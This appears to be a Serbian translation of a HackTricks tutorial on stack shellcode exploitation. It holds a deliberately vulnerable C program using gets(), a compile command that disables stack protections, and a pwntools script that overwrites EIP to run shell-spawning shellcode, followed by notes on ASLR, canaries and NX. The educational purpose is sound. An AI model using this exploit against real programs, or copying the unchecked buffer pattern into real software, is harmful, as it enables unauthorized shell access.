5.9 KiB
Stack Shellcode
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Stack shellcode je tehnika korišćena u binarnom eksploatisanju gde napadač piše shellcode u stack ranjivog programa, a zatim modifikuje Instruction Pointer (IP) ili Extended Instruction Pointer (EIP) da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda korišćena za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljnom sistemu. Evo detaljnog objašnjenja procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa pwntools.
C Primer: Ranjiv program
Započnimo sa jednostavnim primerom ranjivog C programa:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja gets()
funkcije.
Kompilacija
Da biste kompajlirali ovaj program isključujući različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Onemogućava zaštitu steka.-z execstack
: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku.-no-pie
: Onemogućava izvršavanje nezavisnog od položaja izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod.-m32
: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije.
Python Eksploatacija korišćenjem Pwntools
Evo kako biste mogli napisati eksploataciju u Pythonu koristeći pwntools za izvođenje ret2shellcode napada:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Ovaj skript konstruiše payload koji se sastoji od NOP slide-a, shellcode-a, a zatim prepisuje EIP sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.
NOP slide (asm('nop')
) se koristi kako bi se povećala šansa da izvršavanje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument p32()
početnoj adresi vašeg bafera plus offset kako biste dospele do NOP slide-a.
Zaštite
- ASLR treba da bude onemogućen kako bi adresa bila pouzdana tokom izvršavanja ili adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je funkcija učitana.
- Stack Canaries takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.
- NX zaštita stack-a bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
Ostali Primeri & Reference
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32-bit, ASLR sa leak-om adrese stack-a, upoređivanje za sprečavanje poziva exit(), prepisivanje promenljive sa vrednošću, pisanje shellcode-a i skakanje na njega